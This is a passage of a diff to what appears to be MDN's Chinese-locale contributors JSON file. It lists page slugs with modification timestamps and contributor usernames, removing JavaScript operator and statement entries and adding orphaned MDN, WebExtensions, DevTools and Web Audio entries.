"Web/JavaScript/Reference/Operators/Multiplication": { - "modified": "2020-10-15T22:34:23.887Z", + "orphaned/MDN/Community": { + "modified": "2020-04-03T05:16:15.416Z", "contributors": [ - "laampui" + "SphinxKnight", + "shiguang", + "wbamberg", + "Planet6174", + "Forbidden", + "ZQH", + "suwenbin", + "maksyuki", + "Ende93", + "shuding", + "yun174long", + "IBuly", + "civilian", + "MofeLee", + "ziyunfei", + "Fiag" ] }, - "Web/JavaScript/Reference/Operators/Multiplication_assignment": { - "modified": "2020-10-15T22:34:26.770Z", + "orphaned/MDN/Community/Whats_happening": { + "modified": "2020-07-16T22:45:19.757Z", "contributors": [ - "laampui" + "brizer", + "wbamberg", + "IannaZhou", + "fanyj1994", + "1986slayer" ] }, - "Web/JavaScript/Reference/Operators/Nullish_coalescing_operator": { - "modified": "2020-10-15T22:25:14.991Z", - "contributors": [ - "xgqfrms", - "RainSlide", - "Coink", - "ran" + "orphaned/MDN/Community/Working_in_community": { + "modified": "2020-02-19T18:49:08.850Z", + "contributors": [ + "jswisher", + "wbamberg", + "huangzijian888" ] }, - "Web/JavaScript/Reference/Operators/Object_initializer": { - "modified": "2020-10-15T21:37:33.998Z", + "orphaned/MDN/Contribute/Howto/Create_an_MDN_account": { + "modified": "2020-08-03T02:14:19.507Z", "contributors": [ - "lengjingify", - "zhangchen", - "xgqfrms-GitHub", - "slimeball", - "williamchu123", - "hitme" + "zonghuaj", + "jackleeholmes", + "dwns545", + "kgbook", + "roboterwise", + "wbamberg", + "Disat", + "Zhsirting", + "jiajinning", + "BoothLuo", + "WavinFlag", + "acgpiano", + "1xxxx", + "wth", + "ziyunfei", + "fanziy75" ] }, - "Web/JavaScript/Reference/Operators/Operator_Precedence": { - "modified": "2020-09-26T23:18:03.052Z", + "orphaned/MDN/Contribute/Howto/Do_a_technical_review": { + "modified": "2020-06-06T00:56:15.988Z", "contributors": [ - "taichiyi", - "Linuocc", - "Yang-yibu", - "zsirfs", - "zhangchen", - "ZQH", - "QinZhiNian", - "jianglinjie", - "xhlwill", - "maicss", - "czyin", - "Ende93", - "AlexChao", - "yenshen", - "teoli", - "ziyunfei" + "ice-kylin", + "wbamberg", + "Mr.ma", + "zt19994", + "jianxin-zhang", + "righttoe", + "The-End-Hero", + "pidanhua", + "Roland_Reed", + "majunbao", + "pixiu" ] }, - "Web/JavaScript/Reference/Operators/Property_Accessors": { - "modified": "2020-10-15T21:37:38.990Z", + "orphaned/MDN/Contribute/Howto/Do_an_editorial_review": { + "modified": "2020-02-24T12:04:57.900Z", "contributors": [ - "RainSlide", - "zhangchen", - "isLishude", - "xiaojunzhou", + "zhanglolo", + "IFVFORNONE", + "SphinxKnight", + "YUYUEy", + "chrislung", + "Azurak", + "wbamberg", + "quainter", + "Katherina-Miao", + "ucev", + "liujinyu", + "faremax", + "nanflower", + "YFM-getA", + "LiuTong", + "Martin.Chow", + "MMOnster", "lunix01" ] }, - "Web/JavaScript/Reference/Operators/Remainder_assignment": { - "modified": "2020-10-15T22:34:27.144Z", + "orphaned/MDN/Contribute/Howto/Set_the_summary_for_a_page": { + "modified": "2019-10-29T05:37:01.880Z", "contributors": [ - "laampui" + "7NZ", + "Socheny", + "zhangdonglei", + "wbamberg", + "WeJie", + "Schr0dinger", + "itao1314", + "52yang", + "ivanberry", + "ziyunfei", + "Inceng", + "salmon8881", + "zzhi", + "Minnie", + "Yanzhu.Yin" ] }, - "Web/JavaScript/Reference/Operators/Right_shift": { - "modified": "2020-11-02T06:18:13.407Z", + "orphaned/MDN/Contribute/Howto/Tag_JavaScript_pages": { + "modified": "2019-01-16T21:47:16.976Z", "contributors": [ - "Boswell", - "laampui" + "wbamberg", + "Gale", + "BiGrEgGaErOoTs", + "joke", + "Ahkari", + "ziyunfei", + "lushunming" ] }, - "Web/JavaScript/Reference/Operators/Right_shift_assignment": { - "modified": "2020-10-15T22:34:28.606Z", + "orphaned/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web": { + "modified": "2020-09-06T02:30:17.183Z", "contributors": [ - "laampui" + "Cheese-Chip", + "SuiltaPico", + "gu_qing", + "Azurak", + "wbamberg", + "liminjun" ] }, - "Web/JavaScript/Reference/Operators/Spread_syntax": { - "modified": "2020-11-26T05:06:49.056Z", + "MDN/Contribute/Howto/Add_or_update_browser_compatibility_data": { + "modified": "2019-03-18T21:38:16.029Z", "contributors": [ - "superchow", - "NorthWind", - "renfufei", - "fanjieqi", - "kczjczhYue", - "zhangchen", - "maoguojun" + "wbamberg", + "kite-js" ] }, - "Web/JavaScript/Reference/Operators/Strict_equality": { - "modified": "2020-10-15T22:34:20.707Z", + "MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web": { + "modified": "2019-03-18T21:43:40.910Z", "contributors": [ - "LydiaYuan" + "wbamberg", + "ZweiZhao" ] }, - "Web/JavaScript/Reference/Operators/Strict_inequality": { - "modified": "2020-10-15T22:31:52.866Z", + "orphaned/MDN/Contribute/Howto/Be_a_beta_tester": { + "modified": "2019-03-23T22:10:34.334Z", "contributors": [ - "yemao", - "milulelele" + "fengchunsgit", + "wbamberg", + "fbambi", + "sunnysabor" ] }, - "Web/JavaScript/Reference/Operators/Subtraction": { - "modified": "2020-10-15T22:34:24.192Z", + "orphaned/MDN/Editor/Basics": { + "modified": "2020-09-30T15:44:25.432Z", "contributors": [ - "laampui" + "chrisdavidmills", + "zhangqiangoffice", + "Jeane", + "yy1107", + "world521", + "q1560760" ] }, - "Web/JavaScript/Reference/Operators/Subtraction_assignment": { - "modified": "2020-10-15T22:34:27.258Z", + "orphaned/MDN/Editor/Basics/Page_controls": { + "modified": "2020-09-30T15:44:25.715Z", "contributors": [ - "laampui" + "chrisdavidmills", + "zhangqiangoffice" ] }, - "Web/JavaScript/Reference/Operators/Unary_negation": { - "modified": "2020-10-15T22:34:23.921Z", + "orphaned/MDN/Editor/Basics/Page_info": { + "modified": "2020-09-30T15:44:25.570Z", "contributors": [ - "laampui" + "chrisdavidmills", + "zhangqiangoffice" ] }, - "Web/JavaScript/Reference/Operators/Unary_plus": { - "modified": "2020-10-15T22:34:22.724Z", + "orphaned/MDN/Editor/Keyboard_shortcuts": { + "modified": "2020-09-30T15:44:25.913Z", "contributors": [ - "laampui" + "chrisdavidmills", + "RainSlide", + "yuan81777", + "zhangqiangoffice" ] }, - "Web/JavaScript/Reference/Operators/Unsigned_right_shift": { - "modified": "2020-10-15T22:34:23.607Z", + "orphaned/MDN/Editor": { + "modified": "2020-09-30T15:44:25.503Z", "contributors": [ - "laampui" + "chrisdavidmills", + "thouen", + "woniuxingdong", + "TeabugCC", + "yuan81777", + "zhangqiangoffice", + "xjr7670", + "Y.Young", + "ChuckZhang", + "mona", + "jiahui", + "Roland_Reed", + "JoshuaLee", + "GeoffreyQ", + "sunxiang", + "OlingCat", + "Meteormatt" ] }, - "Web/JavaScript/Reference/Operators/Unsigned_right_shift_assignment": { - "modified": "2020-10-15T22:34:24.975Z", + "orphaned/MDN/Editor/Source_mode": { + "modified": "2020-09-30T15:44:26.291Z", "contributors": [ - "laampui" + "chrisdavidmills", + "SirnoChan", + "yinsang", + "woniuxingdong", + "zhangqiangoffice" ] }, - "Web/JavaScript/Reference/Operators/async允许声明一个函数为一个包含异步操作的函数": { - "modified": "2020-10-15T21:51:08.469Z", + "MDN/Guidelines/Does_this_belong_on_MDN": { + "modified": "2020-09-30T15:32:46.957Z", "contributors": [ - "Terry.Qiao", - "fphonor", - "xgqfrms-GitHub", - "x-cold", - "Rusion-Wayne" + "chrisdavidmills", + "wbamberg", + "zccz14" ] }, - "Web/JavaScript/Reference/Operators/await": { - "modified": "2020-08-15T05:29:31.365Z", + "MDN/Guidelines/Writing_style_guide": { + "modified": "2020-11-14T07:38:19.734Z", "contributors": [ - "zzzimaple", - "shifenjiandan", - "Syclover-u2400", - "chang-shuai", - "i850", - "shhider", - "xgqfrms-GitHub", - "chenlexing", - "x-cold", - "liuqipeng417" + "kuailekai", + "chrisdavidmills", + "jswisher", + "wbamberg", + "codeofjackie", + "Dousy", + "Terry.Qiao", + "jianxin-zhang", + "DennisWang", + "suncn", + "WynnChen", + "zmh_w", + "OlingCat" ] }, - "Web/JavaScript/Reference/Operators/class": { - "modified": "2020-10-15T21:37:37.172Z", + "MDN/Yari": { + "modified": "2019-09-09T15:54:47.389Z", "contributors": [ - "Peidong_Xie", - "fscholz", - "xgqfrms-GitHub", - "zyq930501", - "ziyunfei", - "sartrey", - "lunix01" + "SphinxKnight", + "RainSlide", + "yuan81777", + "Chor", + "wbamberg", + "myshell1983", + "popcorner", + "Jack-Q", + "xgqfrms" ] }, - "Web/JavaScript/Reference/Operators/delete": { - "modified": "2020-10-15T21:07:30.470Z", + "orphaned/MDN/Structures/Live_samples/Simple_live_sample_demo": { + "modified": "2020-09-30T12:57:47.049Z", "contributors": [ - "zcdll", - "wallena3", - "zhangchen", - "wendy260310", - "yaksha", - "pyz1989", - "Vincent-yz", - "ucev", - "jamesfancy", - "ZackBee", - "lazybusy", - "Ende93", - "xgqfrms-GitHub", - "xwartz", - "AlexChao", - "ziyunfei", - "teoli" + "chrisdavidmills", + "wbamberg", + "Howard.Chen" ] }, - "Web/JavaScript/Reference/Operators/function": { - "modified": "2020-03-12T19:39:30.038Z", + "MDN/Structures/Macros/Commonly-used_macros": { + "modified": "2020-10-06T09:20:15.609Z", "contributors": [ - "inlics", - "LJJ1996", - "ucev", - "zhuangyin", - "ryanlid", - "xgqfrms-GitHub", - "Ende93", - "AlexChao", - "SphinxKnight", - "nightire" + "phone-burner", + "chrisdavidmills", + "wbamberg", + "teoli", + "fscholz", + "xhlsrj", + "FredWe" ] }, - "Web/JavaScript/Reference/Operators/function*": { - "modified": "2020-10-15T21:37:40.102Z", + "Mozilla/Add-ons/WebExtensions/API/menus": { + "modified": "2020-10-15T21:54:13.449Z", "contributors": [ - "HCSkatana", - "zhangchen", - "chenyeah", - "ShupingLiu", - "ooops", - "lunix01" + "miracleXL", + "yangwang", + "xgqfrms-GitHub" ] }, - "Web/JavaScript/Reference/Operators/in": { - "modified": "2020-10-15T21:21:37.099Z", + "Mozilla/Add-ons/WebExtensions/API/devtools/inspectedWindow": { + "modified": "2020-10-15T22:13:56.821Z", "contributors": [ - "zhuangyin", - "zhangchen", - "lemonsWen", - "kameii", - "zachary05", - "AlexChao", - "SphinxKnight", - "teoli", - "ziyunfei" + "wbamberg", + "ClassJm" ] }, - "Web/JavaScript/Reference/Operators/instanceof": { - "modified": "2020-12-10T01:21:18.307Z", + "Mozilla/Add-ons/WebExtensions/API/tabs/query": { + "modified": "2020-11-25T05:15:24.039Z", "contributors": [ - "xingzhewj", - "Lsnsh", - "kidonng", - "chenzhh", - "helloyong", - "zhangchen", - "LJJ1996", - "Minhow.liu", - "zhuangyin", - "xgqfrms-GitHub", - "ReedSun", - "liudanning", - "xgqfrms", - "SamuraiMe", - "jonkee", - "suffering", - "Ende93", - "jetzhliu", - "floraLam", - "tiansh", - "AlexChao", - "ziyunfei", - "teoli" + "qzwvinner" ] }, - "Web/JavaScript/Reference/Operators/new": { - "modified": "2020-10-15T21:30:30.354Z", + "Mozilla/Add-ons/WebExtensions/API/clipboard": { + "modified": "2020-10-15T22:15:08.385Z", "contributors": [ - "HermitSun", - "lmx-Hexagram", - "wuwensheng1992", "RainSlide", - "toyflivver", - "nanyang24", - "Akiq2016", - "zhangchen", - "btea", - "zhuangyin", - "TroyMa1990", - "xgqfrms-GitHub", - "pokka", - "ruiM92", - "Ke.shidong", - "yangzi", - "yenshen", - "fskuok", - "jiacai2050", - "fphonor", - "SphinxKnight", - "TomWan" + "faliye", + "gentop" ] }, - "Web/JavaScript/Reference/Operators/new.target": { - "modified": "2020-10-15T21:39:57.852Z", + "Mozilla/Add-ons/WebExtensions/API/clipboard/setImageData": { + "modified": "2020-10-15T22:15:17.586Z", "contributors": [ - "RoXoM", - "jafck", - "zhangchen", - "sunhengzhe", - "ngtmuzi", - "ccnuzindex" + "RainSlide", + "faliye" ] }, - "Web/JavaScript/Reference/Operators/super": { - "modified": "2020-10-15T21:34:14.337Z", + "Mozilla/Add-ons/WebExtensions/manifest.json/homepage_url": { + "modified": "2020-10-15T21:51:31.504Z", "contributors": [ - "jackyqin", - "t.ccydlj", - "woshiqiang1", - "hikigaya58", - "KennyWho", - "Yayure", - "wangmiJM", - "zhangchen", - "xgqfrms-GitHub", - "lvjs", - "saintwinkle" + "RainSlide", + "fscholz", + "1010Tech", + "Hypophrenia" ] }, - "Web/JavaScript/Reference/Operators/this": { - "modified": "2020-10-15T21:24:16.968Z", + "orphaned/Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension": { + "modified": "2019-03-18T21:08:06.832Z", "contributors": [ - "Clarkkkk", - "imbant", - "laampui", - "ldsyzjb", - "aaaxiu", - "frankchia", - "usernameisMan", - "Xuemuyang", - "luoxzhg", - "Akiq2016", - "secretmadonna", - "zhangchen", - "jasonwithjs", - "rollinhup", - "anderson_liu", - "KngZhi", - "xgqfrms-GitHub", - "JJPandari", - "07akioni", - "Cmen", - "bodii", - "Ende93", - "eric183", - "floraLam", - "teoli", - "haodut", - "zhanglun", - "jaka", - "JinZheng", - "DaoG" + "PaperFlu", + "yfdyh000" ] }, - "Web/JavaScript/Reference/Operators/typeof": { - "modified": "2020-11-25T06:03:35.454Z", + "orphaned/Mozilla/Add-ons/WebExtensions/Package_your_extension_": { + "modified": "2019-03-18T21:06:37.903Z", "contributors": [ - "zhuangyin", - "AidanDai", - "kidonng", - "levo2165", - "zhangchen", - "huangtt", - "Crazycheng", - "DarkYeahs", - "Bitzo", - "bengfor", - "xgqfrms", - "zachary05", - "auver", - "yufeng", - "AlexChao", - "teoli", - "ziyunfei", - "ethertank" + "abcfyk", + "Smartree", + "taadis" ] }, - "Web/JavaScript/Reference/Operators/void": { - "modified": "2020-10-15T21:30:34.673Z", + "Mozilla/Add-ons/WebExtensions/user_interface/Sidebars": { + "modified": "2019-03-18T21:02:29.279Z", "contributors": [ - "seiry", - "Yidada", - "zhangchen", - "xycd", - "xgqfrms-GitHub", - "Ende93", - "lunix01", - "yenshen", - "ziyunfei", - "AlexChao", - "SphinxKnight", - "parano" + "dfchong" ] }, - "Web/JavaScript/Reference/Operators/yield": { - "modified": "2020-10-15T21:26:10.731Z", + "Mozilla/Add-ons/WebExtensions/Your_second_WebExtension": { + "modified": "2019-09-08T06:17:56.666Z", "contributors": [ - "RedemptioM", - "Yongest", - "Usey95", - "zhangchen", - "lfy55", - "xgqfrms-GitHub", - "AlexChao", - "mountainmoon", - "teoli", - "lpy" + "Bonlin0", + "ZowieGong", + "LuminousXLB", + "Gszekt", + "boser90", + "yydzxz", + "lightsing", + "CXWorks", + "GrayLight", + "yfdyh000" ] }, - "Web/JavaScript/Reference/Operators/yield*": { - "modified": "2020-10-15T21:32:40.952Z", + "Mozilla/Add-ons/WebExtensions/Implement_a_settings_page": { + "modified": "2019-09-14T23:46:00.166Z", "contributors": [ - "zhangchen", - "xgqfrms-GitHub", - "ccn1010", - "ziyunfei", - "Liyunsheng" + "ivysrono", + "xcffl", + "Hypophrenia" ] }, - "Web/JavaScript/Reference/Operators/取余": { - "modified": "2020-10-15T22:30:57.453Z", + "Mozilla/Add-ons/WebExtensions/Build_a_cross_browser_extension": { + "modified": "2020-09-17T09:25:04.236Z", "contributors": [ - "parabolazz" + "kingcc", + "Daryl.Xu" ] }, - "Web/JavaScript/Reference/Operators/可选链": { - "modified": "2020-11-05T00:32:59.486Z", + "orphaned/Mozilla/Mozilla_Persona": { + "modified": "2019-03-23T23:09:24.663Z", "contributors": [ - "MinimalistYing", - "xgqfrms", - "RainSlide", - "zhangchen", - "Coink", - "daolanfler", - "lmislm", - "Ende93", - "wsv587" + "world521" ] }, - "Web/JavaScript/Reference/Operators/按位与": { - "modified": "2020-10-15T22:33:57.582Z", + "conflicting/Web/HTML/Quirks_Mode_and_Standards_Mode": { + "modified": "2019-03-24T00:17:27.134Z", "contributors": [ - "hellorayza" + "OoOoOoOo", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Operators/相加": { - "modified": "2020-10-15T22:31:36.619Z", + "Web/API/EventSource/close": { + "modified": "2019-03-23T22:09:23.731Z", "contributors": [ - "lws123321", - "Spengh" + "Char-Ten" ] }, - "Web/JavaScript/Reference/Operators/相等": { - "modified": "2020-10-28T03:33:52.196Z", + "Web/API/EventSource/EventSource": { + "modified": "2019-08-07T05:55:13.404Z", "contributors": [ - "SphinxKnight", - "thefirst-ma", - "zhangchen", - "lujing2", - "milulelele" + "ZZES_REN", + "kameii" ] }, - "Web/JavaScript/Reference/Operators/管道操作符": { - "modified": "2020-10-15T21:59:15.552Z", + "Web/API/EventSource": { + "modified": "2020-10-15T21:21:30.406Z", "contributors": [ + "into-piece", "RainSlide", - "fsy0718", - "zhangchen", - "qdlaoyao", - "fphonor" - ] - }, - "Web/JavaScript/Reference/Operators/自减": { - "modified": "2020-10-15T22:33:30.374Z", - "contributors": [ - "helsmy" + "Jack.Works", + "xlaoyu", + "xgqfrms-GitHub", + "kameii", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Operators/逻辑和": { - "modified": "2020-10-15T22:32:55.133Z", + "Web/API/EventSource/onerror": { + "modified": "2019-03-23T22:09:23.181Z", "contributors": [ - "matsongajapan" + "Char-Ten" ] }, - "Web/JavaScript/Reference/Reserved_words": { - "modified": "2019-03-23T23:46:04.954Z", + "Web/API/EventSource/onopen": { + "modified": "2019-03-23T22:16:16.621Z", "contributors": [ - "fangnanjun", - "Haichao", - "teoli", - "Mickeyboy" + "kameii" ] }, - "Web/JavaScript/Reference/Statements": { - "modified": "2020-11-19T11:54:21.852Z", + "Web/API/Server-sent_events": { + "modified": "2020-03-04T10:52:34.764Z", "contributors": [ - "xgqfrms", - "wwj402", + "femaimi", "RainSlide", - "victor0801x", - "yenshen", - "Ende93", - "webery", - "ziyunfei", - "teoli" + "act262", + "raju_dasa" ] }, - "Web/JavaScript/Reference/Statements/Empty": { - "modified": "2020-10-15T21:32:25.866Z", + "Web/API/Server-sent_events/Using_server-sent_events": { + "modified": "2020-10-15T21:21:32.267Z", "contributors": [ - "zhangchen", - "Hugh", - "git123hub", - "yenshen" + "kagurakana", + "mkckr0", + "xgqfrms-GitHub", + "jamemark", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Statements/async_function": { - "modified": "2020-11-26T06:15:48.712Z", + "Mozilla/Firefox/Releases/19/Site_compatibility": { + "modified": "2019-01-16T17:00:07.852Z", "contributors": [ - "superchow", - "Neo42", - "zhangxingeng", - "Irisa", - "brizer", - "icethawless", - "rockan007", - "AppleTenlp", - "gqbre", - "elkfn", - "Hew007", - "Ende93", - "YKG", - "42", - "murphywuwu", - "ntnyq", - "jaredhan418", - "TriStone", - "lmislm", - "toyflivver", - "dudueasy", - "NiroDu", - "awmleer", - "mysmlz", - "Bill0412", - "Jessy.D.", - "zxsunrise", - "pujiaxun", - "biggersun", - "Jiang-Xuan", - "pot-code", - "ofatbird", - "shhider", - "zhangchen", - "xgqfrms-GitHub", - "_da", - "Katherina-Miao" + "wbamberg", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Statements/block": { - "modified": "2020-11-26T06:25:49.649Z", + "Mozilla/Firefox/Releases/21/Site_compatibility": { + "modified": "2019-01-16T17:20:04.063Z", "contributors": [ - "cikelichu", - "daxiazilong", - "ywjco", - "zhangchen", - "icepro", - "Canaan", - "frankfang1990", - "Cattla", - "yenshen" + "wbamberg", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Statements/break": { - "modified": "2020-11-26T22:14:31.749Z", + "Mozilla/Firefox/Releases/23/Site_compatibility": { + "modified": "2019-01-16T17:27:23.228Z", "contributors": [ - "superchow", - "zhangchen", - "git123hub", - "Poisonloc", - "AlexChao" + "wbamberg", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Statements/class": { - "modified": "2020-10-15T21:40:52.749Z", + "Mozilla/Firefox/Releases/24/Site_compatibility": { + "modified": "2019-01-16T17:27:30.001Z", "contributors": [ - "zhangchen", - "LiXin", - "xgqfrms-GitHub", - "AimLuo", - "makebanana", - "ryanlid", - "kdex", - "lixuguang", - "ouonet", - "MrLyp", - "jooyoon", - "webery" + "wbamberg", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Statements/const": { - "modified": "2020-11-20T09:29:05.867Z", + "orphaned/Web/Specification_list": { + "modified": "2019-03-23T23:31:18.870Z", "contributors": [ - "zhuangyin", - "Snailight", - "niices", - "RainSlide", - "Jat", - "zhangchen", - "winjeysong", - "myl0204", - "xgqfrms-GitHub", - "shifengchen", - "Go7hic", - "zhe13", - "webery", - "lunix01", - "teoli", "ziyunfei" ] }, - "Web/JavaScript/Reference/Statements/continue": { - "modified": "2020-10-15T21:22:29.579Z", + "orphaned/Tools/Add-ons": { + "modified": "2020-07-16T22:36:23.904Z", "contributors": [ - "zhangchen", - "tiansh", - "teoli", - "sunorry" + "wbamberg", + "maicss" ] }, - "Web/JavaScript/Reference/Statements/debugger": { - "modified": "2020-10-15T21:19:13.851Z", + "Tools/3D_View": { + "modified": "2020-07-16T22:34:25.755Z", "contributors": [ - "zhangchen", - "yenshen", - "teoli", + "Gitai", + "wbamberg", "ziyunfei" ] }, - "Web/JavaScript/Reference/Statements/default": { - "modified": "2020-10-15T21:40:53.796Z", + "Tools/Page_Inspector/How_to/Edit_fonts": { + "modified": "2020-07-16T22:34:39.361Z", "contributors": [ - "hellokidder", - "zhangchen", - "binguanghe", - "Lukas-LiuYi", - "fscholz" + "wbamberg", + "webery" ] }, - "Web/JavaScript/Reference/Statements/do...while": { - "modified": "2020-10-15T21:32:25.936Z", + "Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE": { + "modified": "2019-03-23T23:02:33.405Z", "contributors": [ - "zhangchen", - "yenshen" + "wbamberg", + "qq18588696841" ] }, - "Web/JavaScript/Reference/Statements/export": { - "modified": "2020-10-31T21:18:02.310Z", + "Tools/Responsive_Design_Mode": { + "modified": "2020-07-16T22:35:22.496Z", "contributors": [ - "wenxiayili", - "panzhh", - "brizer", - "Casseil-1996", - "zhouxyy", - "symant233", - "Asuka109", - "hanalice", - "narutojian", - "ThisIszas", - "GentleGong", - "woniuxingdong", - "TeabugCC", - "yinpeng123", - "RainSlide", - "xgqfrms", - "wossig", - "zarvin", - "TimmyKingFree", - "zhangchen", - "xgqfrms-GitHub", - "Jiang-Xuan", - "Suixinlei", - "nolanlee", - "sartrey", - "jianyi1995" + "wbamberg", + "Meteormatt", + "maybe", + "ziyunfei", + "dannyxu" ] }, - "Web/JavaScript/Reference/Statements/for": { - "modified": "2020-10-15T21:38:44.431Z", + "Tools/Web_Audio_Editor": { + "modified": "2020-07-16T22:36:08.958Z", "contributors": [ - "RainSlide", - "yy7054wyq5", - "zhangchen", - "IShinji", - "yenshen", - "oscar1980", - "gaigeshen" + "wbamberg", + "ab233", + "DorayHong" ] }, - "Web/JavaScript/Reference/Statements/for-await...of": { - "modified": "2020-11-19T13:54:59.528Z", + "Tools/Deprecated_tools": { + "modified": "2020-07-16T22:36:40.884Z", "contributors": [ - "xgqfrms", - "jingkaimori", - "AozakiOrenji", - "Ende93", - "SphinxKnight", - "mrdulin", - "WangXiaoyu", - "thereAnana" + "GMMG55" ] }, - "Web/JavaScript/Reference/Statements/for...in": { - "modified": "2020-10-15T21:07:57.911Z", + "Tools/Storage_Inspector": { + "modified": "2020-07-16T22:36:10.648Z", "contributors": [ - "lmislm", - "毛毛_", - "name-dingding", - "raoenhui", - "412799755", - "Hourann", - "XiangHongAi", - "jiladahe1997", - "zhangchen", - "WPH2017", - "xgqfrms-GitHub", - "jdk137", - "yatace", - "helloguangxue", - "Ende93", - "wonyun", - "denghongcai", - "teoli", - "ziyunfei" + "hellojackhui" ] }, - "Web/JavaScript/Reference/Statements/for...of": { - "modified": "2020-10-15T21:07:54.800Z", + "Tools/Tips": { + "modified": "2020-07-16T22:36:36.674Z", "contributors": [ - "sendudu", - "mouming", - "houzp", - "zgj233", - "osramywj", - "Joker09", - "Jiang-Xuan", - "charliex2", - "zhangchen", - "killsos", - "xgqfrms-GitHub", - "zhuangyin", - "yihuan", - "yanlee26", - "dingxu", - "lsvih", - "imnodb", - "Ende93", - "iamchenxin", - "teoli", - "ziyunfei" + "Argon-Pub", + "wbamberg", + "ShirleyM" ] }, - "Web/JavaScript/Reference/Statements/function": { - "modified": "2020-12-02T02:36:07.313Z", + "Mozilla/Firefox/Releases/3/Updating_extensions": { + "modified": "2019-12-13T20:33:30.985Z", "contributors": [ - "zhuangyin", - "frankfang1990", - "maicss", - "xgqfrms-GitHub", - "helloguangxue", - "yenshen", - "teoli", - "ielgnaw" + "wbamberg", + "ziyunfei", + "Sheppy", + "phenix", + "Loveunk" ] }, - "Web/JavaScript/Reference/Statements/function*": { - "modified": "2020-10-15T21:27:24.673Z", + "Web/Guide/Introduction_to_Web_development": { + "modified": "2019-03-24T00:00:33.366Z", "contributors": [ - "HCSkatana", - "kingsley2036", - "RoXoM", - "Jiang-Xuan", - "ywjco", - "picc-lu", - "pot-code", - "righttoe", - "kdex", - "xgqfrms-GitHub", - "ShupingLiu", - "lunix01", - "simongfxu", "ziyunfei", - "fskuok", - "teoli" + "fantasticfears" ] }, - "Web/JavaScript/Reference/Statements/if...else": { - "modified": "2020-10-15T21:32:24.204Z", + "Web/Accessibility/ARIA/Roles/button_role": { + "modified": "2019-03-23T22:05:01.811Z", "contributors": [ - "maoyumaoxun", - "zhangchen", - "jjc", - "TimmyKingFree", - "Hugh", - "connie77", - "yenshen" + "TiaossuP" ] }, - "Web/JavaScript/Reference/Statements/import": { - "modified": "2020-10-15T21:36:46.597Z", + "Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-hidden_attribute": { + "modified": "2019-10-31T22:25:58.797Z", + "contributors": [ + "YoMiao", + "civerzhang" + ] + }, + "orphaned/Web/API/AnalyserNode/fft": { + "modified": "2019-03-18T20:44:28.140Z", "contributors": [ - "SunnyDayLily", - "laampui", - "brizer", - "TeabugCC", "RainSlide", - "daihaoxin", - "jason-grimm", - "jjyyxx", - "Ende93", - "zhangchen", - "xgqfrms-GitHub", - "xiaomingming", - "Jiang-Xuan", - "houbx", - "taokd", - "Skyang", - "larntin", - "bambooom", - "ziyunfei", - "wengeezhang", - "sartrey", - "WangZishi" + "GabrielchenCN" ] }, - "Web/JavaScript/Reference/Statements/import.meta": { - "modified": "2020-10-15T22:07:59.455Z", + "Web/API/BaseAudioContext/createAnalyser": { + "modified": "2019-03-23T22:51:30.295Z", "contributors": [ - "gitHber", - "JonathanLee-LX" + "Ambar", + "ayqy" ] }, - "Web/JavaScript/Reference/Statements/label": { - "modified": "2020-10-15T21:31:44.464Z", + "Web/API/BaseAudioContext/createBiquadFilter": { + "modified": "2019-03-23T22:19:40.757Z", "contributors": [ - "xgqfrms", - "RainSlide", - "zhangchen", - "delkaka", - "AlexChao" + "feewb", + "yqjiang" ] }, - "Web/JavaScript/Reference/Statements/let": { - "modified": "2020-10-15T21:07:01.000Z", + "Web/API/BaseAudioContext/createBuffer": { + "modified": "2019-03-23T22:49:27.952Z", "contributors": [ - "Snailight", - "卡尔维斯特", - "JameMoriarty", - "yangnaiyue", - "Zhang-Junzhi", - "wongxiao", - "Ende93", - "jzz2649", - "SphinxKnight", - "Lan1967", - "Freezer", - "alexzaolin", - "JunjieCai", - "ilyp", - "ssttii", - "jcguang", - "mathxlee", - "ywjco", - "zhangchen", - "yingying", - "frankfang1990", - "swfbarhr", - "xgqfrms-GitHub", - "mr.code", - "artificial", - "leafdog", - "yangzongjie", - "ZhiRui", - "ZhanghaoH", - "ChuckZhang", - "Go7hic", - "highsea", - "panhezeng", - "kemchenj", - "lunix01", - "dondevi", - "hang", - "Rococolate", - "ouonet", - "ziyunfei", - "WangZishi", - "Junjie_Wei", - "teoli", - "nightire", - "ted423" + "Taoja", + "LiuTong", + "Losses" ] }, - "Web/JavaScript/Reference/Statements/return": { - "modified": "2020-10-15T21:32:16.829Z", + "Web/API/BaseAudioContext/createBufferSource": { + "modified": "2019-03-23T22:26:08.102Z", "contributors": [ - "xianshenglu", - "zhangchen", - "Ende93", - "AlexChao" + "Taoja" + ] + }, + "Web/API/BaseAudioContext/createChannelMerger": { + "modified": "2019-03-23T22:21:54.996Z", + "contributors": [ + "win7killer" + ] + }, + "Web/API/BaseAudioContext/createChannelSplitter": { + "modified": "2019-03-23T22:19:41.394Z", + "contributors": [ + "yqjiang" + ] + }, + "Web/API/BaseAudioContext/createConvolver": { + "modified": "2019-03-23T22:31:06.367Z", + "contributors": [ + "TomdyQin" ] }, - "Web/JavaScript/Reference/Statements/switch": { - "modified": "2020-10-15T21:31:42.513Z", + "Web/API/BaseAudioContext/createDelay": { + "modified": "2019-03-23T22:16:38.056Z", "contributors": [ - "rianma", - "jfw10973", - "RainSlide", - "ywjco", - "zhangchen", - "PaperFlu", - "FAOfao931013", - "xgqfrms-GitHub", - "AlexChao", - "xin" + "wang_geng", + "jb145161" ] }, - "Web/JavaScript/Reference/Statements/throw": { - "modified": "2020-10-15T21:17:26.144Z", + "Web/API/BaseAudioContext/createScriptProcessor": { + "modified": "2020-03-24T04:10:23.984Z", "contributors": [ - "koalaxiaot", - "zhangchen", - "xgqfrms-GitHub", - "fanpaa", - "soulxy", - "onetwogoo", - "iFish", - "teoli", - "Mickeyboy" + "frankyoung0305", + "zwmin", + "fanmingfei", + "Remond", + "Melo.HG" ] }, - "Web/JavaScript/Reference/Statements/try...catch": { - "modified": "2020-10-15T21:35:35.752Z", + "Web/API/BaseAudioContext/createWaveShaper": { + "modified": "2019-03-23T22:15:28.242Z", 